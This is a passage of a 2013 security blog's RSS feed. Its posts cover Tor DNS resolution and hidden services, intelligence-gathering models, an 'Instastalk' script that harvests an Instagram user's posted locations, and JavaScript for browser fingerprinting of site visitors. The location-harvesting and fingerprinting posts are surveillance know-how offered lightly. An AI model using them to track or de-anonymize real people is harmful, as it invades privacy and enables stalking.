<a href='http://www.antitree.com/ists-x/206_wtf/' title='206_wtf'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/206_wtf-150x150.png" class="attachment-thumbnail" alt="206_wtf" /></a>
<a href='http://www.antitree.com/ists-x/faqank2/' title='FAQaNk2'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/FAQaNk2-150x150.png" class="attachment-thumbnail" alt="FAQaNk2" /></a>
<a href='http://www.antitree.com/ists-x/lbfosib/' title='lBFOSiB'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/lBFOSiB-150x150.png" class="attachment-thumbnail" alt="lBFOSiB" /></a>
<a href='http://www.antitree.com/ists-x/ime3brg/' title='IMe3Brg'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/IMe3Brg-150x150.jpg" class="attachment-thumbnail" alt="IMe3Brg" /></a>
<a href='http://www.antitree.com/ists-x/team4_lolzballs/' title='team4_lolzballs'><img width="150" height="150" src="http://www.antitree.com/wp-content/uploads/2013/03/team4_lolzballs-150x150.png" class="attachment-thumbnail" alt="team4_lolzballs" /></a>

]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/ists-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Embedded Security goes to Rochester 2600</title>
		<link>http://www.antitree.com/embedded-security-goes-to-rochester-2600/</link>
		<comments>http://www.antitree.com/embedded-security-goes-to-rochester-2600/#comments</comments>
		<pubDate>Tue, 05 Mar 2013 01:16:53 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[Embedded Security]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Rochester 2600]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=531</guid>
		<description><![CDATA[This is a presentation I gave about embedded security at the last 2600 meeting. This mostly just referencing other people&#8217;s work like Joe Grand and Travis Goodspeed who are embedded security gods. Pentesting embedded from antitree]]></description>
				<content:encoded><![CDATA[<p>This is a presentation I gave about embedded security at the last 2600 meeting. This mostly just referencing other people&#8217;s work like Joe Grand and Travis Goodspeed who are embedded security gods.</p>
<div align="center"><iframe width="427" height="356" style="border: 1px solid #CCC; border-width: 1px 1px 0; margin-bottom: 5px;" src="http://www.slideshare.net/slideshow/embed_code/16932314" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="" webkitallowfullscreen="" mozallowfullscreen=""></iframe></p>
<div style="margin-bottom: 5px;"><strong> <a title="Pentesting embedded" href="http://www.slideshare.net/antitree/pentesting-embedded" target="_blank">Pentesting embedded</a> </strong> from <strong><a href="http://www.slideshare.net/antitree" target="_blank">antitree</a></strong></div>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/embedded-security-goes-to-rochester-2600/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How Tor does DNS: The Breaking Bad Way</title>
		<link>http://www.antitree.com/how-tor-does-dns-the-breaking-bad-way/</link>
		<comments>http://www.antitree.com/how-tor-does-dns-the-breaking-bad-way/#comments</comments>
		<pubDate>Fri, 22 Feb 2013 15:14:57 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[privacy]]></category>
		<category><![CDATA[Tor]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=507</guid>
		<description><![CDATA[Let me start by answering the short version of the question: Tor usually performs DNS requests using the exit node&#8217;s DNS server. Because Tor is TCP, it will only be able to handle TCP based DNS requests normally. Hidden services though are very different and rely on Hidden Service Directory Servers that do not use [...]]]></description>
				<content:encoded><![CDATA[<p>Let me start by answering the short version of the question: Tor usually performs DNS requests using the exit node&#8217;s DNS server. Because Tor is TCP, it will only be able to handle TCP based DNS requests normally. Hidden services though are very different and rely on Hidden Service Directory Servers that do not use DNS at all. Read on if you don&#8217;t believe me or want more information.</p>
<p>Here&#8217;s a reference from an old mailing list entry:</p>
<blockquote><p>Section 6.2 of the tor-spec.txt[5] outlines the method for connecting to a specific host by name. Specifically, the Tor client creates a RELAY_BEGIN cell that includes the DNS host name. This is transported to the edge of a given circuit. The exit node at the end of the circuit does all of the heavy lifting, it performs the name resolution directly with the exit node&#8217;s system resolver. &#8230;For the purposes of DNS, it&#8217;s important to note that a node does not need to be marked as an exit in the network consensus to perform resolution services on behalf of a client. Any node that doesn&#8217;t have an exit policy of &#8216;reject *:*&#8217; may be used for DNS resolution purposes. [<a href="http://archives.seul.org/or/talk/Jul-2010/msg00007.html">1</a>]</p></blockquote>
<h1>Pudding for the Proof:</h1>
<p><span style="line-height: 13px;"><a href="http://www.antitree.com/wp-content/uploads/2013/02/exit3.png"><br />
</a>Don&#8217;t believe me? Let&#8217;s test it out. If I run an exit node and then try to use it for a circuit, my DNS requests should go through it right? I&#8217;ve spun up an exit node named &#8220;BrianCranston&#8221; and I&#8217;ll setup a client (who I&#8217;m calling Aaron Paul)  to only use this box as it&#8217;s exit node. You can do this by adding the following to your TORRC file:</span></p><pre class="crayon-plain-tag">ExitNodes briancranston</pre><p>And on my exit node, I do a tcpdump of all traffic on port 53. On my client I start looking for BrianCranston&#8217;s websites at briancranston.com and briancranston.org. Lets see what it looks like:</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/02/exit6.png"><img class="aligncenter size-full wp-image-518" alt="exit6" src="http://www.antitree.com/wp-content/uploads/2013/02/exit6.png" width="613" height="119" /></a></p>
<p>You&#8217;ll notice that Tor is being a little cheeky with the way it resolves DNS records.  briancranston.org turns into bRiancRAnsTON.org. I don&#8217;t know if this is just a nice way to let Exit Node operators know which hosts are being resolved by Tor or what.</p>
<h1>UDP:</h1>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/02/exit3.png"><img class="alignright" alt="Billy Mays here. " src="http://www.antitree.com/wp-content/uploads/2013/02/exit3-234x300.png" width="234" height="300" /></a>Tor is a TCP only network so what happens when it you need to use UDP services like DNS? The answer is pretty simple, it just doesn&#8217;t do it. <a href="http://www.mulliner.org/blog/blosxom.cgi/index.html?find=ttdnsd&amp;plugin=find&amp;path=">Colin Mulliner</a> and came up with a solution to this which was to relay UDP based DNS requests using a tool he wrote called <a href="https://gitweb.torproject.org/ioerror/ttdnsd.git">TTDNS</a>.(If you&#8217;ve ever used TAILS, this is what it uses.) In short, it takes a UDP based DNS query, converts it to TCP, sends it out over Tor, and converts the reply back to UDP once it&#8217;s been received.</p>
<p>Tor doesn&#8217;t natively support UDP based DNS queries, but Tor also only does two types of DNS queries: A records, and PTR records. It skips around needing to use CNAME by converting them to A records but officially, those are the only two supported.</p>
<h1>Tools:</h1>
<p>There are a couple of other items to note related to DNS. One is that there is a built-in tool called &#8220;tor-resolve.&#8221; Guess what it does&#8230; make DNS queries over the Tor network. This is useful for command-line scripts that are trying to resolve a host.</p>
<p>The other, is a TORRC option that will open up a port to provide DNS resolution over Tor. Once enabled, you can use the local host as a DNS resolver on the port you specify. Again, this is how TAILS handles DNS resolution.</p><pre class="crayon-plain-tag">DNSListenAddress 127.0.0.1
DNSPort 53</pre><p></p>
<h1>What about Hidden services?</h1>
<p>This is fine and dandy to resolve google.com, but what about a hidden service with a .onion address. Connecting to google.com goes out an Exit Node, but connecting to an .onion address never leaves the Tor network. In fact, Tor doesn&#8217;t even use DNS to resolve .onion addresses at all. Here&#8217;s how that works.</p>
<p>The names generated for .onion addresses are not just random values unique to your host, they are a base32 encoded version of the public key associated to your hidden service. When you create a hidden service, you generate a priv/pub key pair. This .onion address, the port it&#8217;s listening on, some other useful classifiers, and a list of &#8220;rendezvous points&#8221; are published to Tor hidden service directory nodes. The rendezvous points are locations on the Tor network where a client can initiate a connection to the hidden service.</p>
<p>So, following our Breaking Bad theme, if we had <a href="http://www.imdb.com/name/nm0186505/">Brian (Cranston)</a> and <a href="http://www.imdb.com/name/nm0666739/?ref_=fn_al_nm_1">Aaron (Paul)</a> wanted to exchange a secret web page that keeps track of all the meth they&#8217;ve sold, this is what the flow looks like:</p>
<ol>
<li>Brian modifies the TORRC to offer a service on an IP address and port (127.0.0.1:443)</li>
<li>Brian creates a keypair for the service and the .onion address is saved (briancranston.onion)</li>
<li>Brian&#8217;s Tor client sends a RELAY_COMMAND_ESTABLISH_INTRO to start creating rendezvous points</li>
<li>Brian&#8217;s client sends the descriptors (rendezvous points, port, etc) to the Hidden Service Directory Servers</li>
<li>Brian then sends Aaron his .onion address (briancranson.onion)</li>
<li>Aaron&#8217;s client checks the Hidden Service Directory Server to see if the address exists</li>
<li>Aaron&#8217;s Tor client makes a circuit to one of the rendezvous points</li>
<li>Aaron connects to the rendezvous point and tells it about _his_ rendezvous point.</li>
<li>This rendezvous point is passed to Brian</li>
<li>Brian connects to Aaron&#8217;s rendezvous point</li>
<li>The rendezvous point lets Aaron know that Brian&#8217;s service has been forwarded at that point</li>
<li>Aaron finally makes a connection to Brian&#8217;s service</li>
</ol>
<p>So in short, hidden services are resolved using Hidden Server Directory Servers and the Tor client. There currently is no way (AFAIK) to manually just resolve onion addresses. That means, if you&#8217;re trying to connect to a hidden service using a script, you&#8217;ll have to properly tunnel the requests through Tor. That&#8217;ll be for another day. <a href="http://www.antitree.com/wp-content/uploads/2013/02/torba.png"><img class="aligncenter size-full wp-image-522" alt="torba" src="http://www.antitree.com/wp-content/uploads/2013/02/torba.png" width="650" height="406" /></a></p>
<p>If you need more information, check out these links:</p>
<p><a href="http://archives.seul.org/or/talk/Jul-2010/msg00007.html">http://archives.seul.org/or/talk/Jul-2010/msg00007.html</a> - old mailing list message about DNS. A bit out dated but very useful</p>
<p><a href="https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt">https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt</a> - discusses the rendezvous protocol specification that is the basis of hidden services.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/how-tor-does-dns-the-breaking-bad-way/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Competitive Intelligence Meets 2600</title>
		<link>http://www.antitree.com/competitive-intelligence-meets-2600/</link>
		<comments>http://www.antitree.com/competitive-intelligence-meets-2600/#comments</comments>
		<pubDate>Mon, 04 Feb 2013 23:16:55 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=498</guid>
		<description><![CDATA[I gave a presentation at this month&#8217;s Rochester 2600 meeting about competitive intelligence. The point was to give some background about competitive intelligence/corporate spying and make some analogizes to people in infosec. FWIW, you can check it out over here.]]></description>
				<content:encoded><![CDATA[<p>I gave a presentation at this month&#8217;s Rochester 2600 meeting about competitive intelligence. The point was to give some background about competitive intelligence/corporate spying and make some analogizes to people in infosec.</p>
<p>FWIW, you can check it out over <a href="http://www.slideshare.net/antitree/corporate-intelligence-bridging-the-security-and-intelligence-community" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/competitive-intelligence-meets-2600/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using The CIA&#8217;s Intelligence Model For Your Security Objectives</title>
		<link>http://www.antitree.com/using-the-cias-intelligence-model-for-your-security-objectives/</link>
		<comments>http://www.antitree.com/using-the-cias-intelligence-model-for-your-security-objectives/#comments</comments>
		<pubDate>Tue, 29 Jan 2013 12:11:08 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[Intelligence]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=469</guid>
		<description><![CDATA[I&#8217;ve been putting some time into trying to improve my intelligence gathering capabilities. Normally we would call this recon during a pen test or OSINT gathering. But I&#8217;ve been thinking about it from the perspective of the CIA who refer to it as intelligence gathering. The ideas are basically same: collect information that provides you [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been putting some time into trying to improve my intelligence gathering capabilities. Normally we would call this recon during a pen test or OSINT gathering. But I&#8217;ve been thinking about it from the perspective of the CIA who refer to it as intelligence gathering. The ideas are basically same: <strong>collect information that provides you with some kind of insight into a target</strong>.</p>
<p>For a pen test, I want to know information about the subject I&#8217;m testing. Maybe it&#8217;s network information, or job openings, or list of employees, all this type of data can be used during later phases of the assessment. For your organization, you may want to know when Anon is going to be launching an attack on your network or an employee who is leaking company secrets on her Facebook account.</p>
<h1>OSINT Meets OPSEC</h1>
<p>For the CIA, intel operations are part of operational security. The intel may tell you when future attacks are planned, secret ways terrorist organizations are communicating, or weaknesses in your adversaries. These same types of operations can be applied into your own OPSEC model: Looking for discussion about future attacks on your organization, useful  information about your competitors that was accidentally leaked, potential vulnerabilities in your own systems that become publicly available.</p>
<p>This is what the cycle look like in the most generic form. There&#8217;s a lot of explanation that has to go into each phase but I think you can interpret each however you&#8217;d like.</p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/01/intel_cycle.png"><img class="aligncenter size-medium wp-image-473" alt="intel_cycle" src="http://www.antitree.com/wp-content/uploads/2013/01/intel_cycle-296x300.png" width="296" height="300" /></a></p>
<p>This cycle has many <a href="https://www.google.com/search?q=intelligence+cycle&amp;hl=en&amp;tbo=d&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ei=ersCUYkEyODRAcPUgegM&amp;ved=0CAoQ_AUoAA&amp;biw=1920&amp;bih=936">different versions</a>. It seems like different governments interpret it in different ways but they all basically stem from this image above. People have also been applying the intelligence lifecycle to APT (yes.. I said it&#8230;) because it directly applies to targeted network attacks. Here&#8217;s a good one from a hacker organization called &#8220;Dell&#8221;:</p>
<p><a href="http://en.community.dell.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-46-04/7711.Advanced_5F00_Persistent_5F00_Threat_5F002D005F00_APT_5F002D005F00_Lifecycle.png"><img class="aligncenter" alt="" src="http://en.community.dell.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-46-04/7711.Advanced_5F00_Persistent_5F00_Threat_5F002D005F00_APT_5F002D005F00_Lifecycle.png" width="350" height="348" /></a></p>
<h1>The CIA and You?</h1>
<p>The Dell image is cute, but is meant to only highlight a small portion of the potential sources that the CIA documents. But in general, some books say there are four primary sources of intelligence:</p>
<ol>
<li><span style="line-height: 13px;">HUMINT: Information collected from a human source</span></li>
<li>TECHINT: Information collected by technical means (APT OMG!)</li>
<li>OSINT: Open source intelligence gathering</li>
<li>Direct Action: Hiring an effing milita to take the data.</li>
</ol>
<p>This is from the CIA&#8217;s point-of-view so I&#8217;m not suggesting that people should go and steal intelligence from your friends by gun point, or hacking into their laptops, nor am I suggesting looking for human sources of intelligence to turn into spies for you. I&#8217;m trying to highlight <strong>a model of intel gathering that may improve your skills and capabilities</strong> especially when working in groups. Red-teaming for example<strong>. </strong></p>
<p>I also want to point out that whether it&#8217;s the CIA, malware writers, APT-OMGZ! hackers, or corporate spies, <strong>the same model basically applies to any types of people with similar goals</strong>. Target, collect, process, analyse, disseminate, repeat.</p>
<p>While I&#8217;m not talking out-of-my-ass on the subject, I admit I have a lot to learn especially compared to those that are in the intelligence community now. I&#8217;ll be giving a presentation about the subject at the next <a href="http://www.rochester2600.com">Rochester 2600 </a>meeting this week.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/using-the-cias-intelligence-model-for-your-security-objectives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instastalk: Using the Instagram API to track users locations</title>
		<link>http://www.antitree.com/instastalk-using-the-instagram-api-to-track-users-locations/</link>
		<comments>http://www.antitree.com/instastalk-using-the-instagram-api-to-track-users-locations/#comments</comments>
		<pubDate>Mon, 28 Jan 2013 01:16:51 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[lulz]]></category>
		<category><![CDATA[OSINT]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=482</guid>
		<description><![CDATA[Quick blog post &#8212; thought it would be funny to make an Instagram script that will download all the locations of a user account. You can find the details on how to use it on Github. Pretty straightforward: [crayon-51c15106565f5/] You&#8217;ll need to sign up for the InstagramAPI which you can do here: http://instagram.com/developer/ And you can [...]]]></description>
				<content:encoded><![CDATA[<p>Quick blog post &#8212; thought it would be funny to make an Instagram script that will download all the locations of a user account. You can find the details on how to use it on Github. Pretty straightforward:</p><pre class="crayon-plain-tag">./instagram.py (instagramID) (InstagramAPIToken)</pre><p>You&#8217;ll need to sign up for the InstagramAPI which you can do here: <a href="http://instagram.com/developer/">http://instagram.com/developer/</a></p>
<p>And you can find your friend&#8217;s InstagramID using this handy tool here: <a href="http://jelled.com/instagram/lookup-user-id">http://jelled.com/instagram/lookup-user-id</a></p>
<p>Download the code from Github here: <a href="https://github.com/antitree/instastalk">https://github.com/antitree/instastalk</a></p>
<p>Here&#8217;s me keeping track of Berticus:<a href="http://www.antitree.com/wp-content/uploads/2013/01/instastalkberticus.png"><br />
</a></p>
<p><a href="http://www.antitree.com/wp-content/uploads/2013/01/instastalkberticus.png"><img class="aligncenter size-full wp-image-483" alt="instastalkberticus" src="http://www.antitree.com/wp-content/uploads/2013/01/instastalkberticus.png" width="554" height="126" /></a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/instastalk-using-the-instagram-api-to-track-users-locations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using the Good Of Panopticlick For Evil</title>
		<link>http://www.antitree.com/using-the-good-of-panopticlick-for-evil/</link>
		<comments>http://www.antitree.com/using-the-good-of-panopticlick-for-evil/#comments</comments>
		<pubDate>Fri, 25 Jan 2013 16:44:16 +0000</pubDate>
		<dc:creator>antiblog</dc:creator>
				<category><![CDATA[OPSEC]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[Tor]]></category>

		<guid isPermaLink="false">http://www.antitree.com/?p=446</guid>
		<description><![CDATA[Browser fingerprint tactics, like the ones demonstrated in Panopticlick have been used by marketing and website analytic types for years. It&#8217;s how they track a user&#8217;s activities across domains. Just include their piece of JavaScript at the bottom of your page and poof, you&#8217;re able to track visitors in a variety of ways. I don&#8217;t [...]]]></description>
				<content:encoded><![CDATA[<p>Browser fingerprint tactics, like the ones demonstrated in Panopticlick have been used by marketing and website analytic types for years. It&#8217;s how they track a user&#8217;s activities across domains. Just include their piece of JavaScript at the bottom of your page and poof, you&#8217;re able to track visitors in a variety of ways.</p>
<p>I don&#8217;t care much about using this technology for marketing, but I do care about using this type of activity for operational security purposes. Imagine using this technique as a counter-intelligence tactic. You don&#8217;t want to prevent someone from accessing information, but you do want to know who is doing it, especially if they have ill intentions in mind. IP addresses are adorable but hardly reliable when it comes to anyone that knows how to use a proxy, so using a fingerprint application, like Panopticlick, we can see who is visiting the site no matter what their locations appears to be.</p>
<p>Here&#8217;s a simple way of using Panopticlick&#8217;s JavaScript for your own purposes to gather fingerprint information about your browser. I&#8217;ll leave it up to you to figure out what you can do with this.</p><pre class="crayon-plain-tag">&lt;html&gt;&lt;head&gt;
&lt;script src="http://panopticlick.eff.org/resources/plugin-detect-0.6.3.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script&gt;
alert(identify_plugins());
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Panoopticlick Test&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;</pre><p></p>
<h1>&#8220;More Worser&#8221;</h1>
<p>Panopticlick&#8217;s informatino gathering techniques are very similar (see the same) as Browserspy except that they correlate the results to a dataset. If you really wanted to do all the browser fingerprinting without any of the reporting, you can take a look at the <a href="http://www.browserspy.dk">BrowserSpy </a>code.</p>
<p>I&#8217;ve also worked on a technique years ago that attempts to verify your IP address using DNS. This was a pretty good technique especially for third party plugins like Flash and Java which were inconsistent when it comes to using proxies correctly. For more information about using DNS to extract an IP address and further gather information about a user, check out HD Moore&#8217;s now decommissioned <a href="http://www.decloak.net">Decloak</a> project.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.antitree.com/using-the-good-of-panopticlick-for-evil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
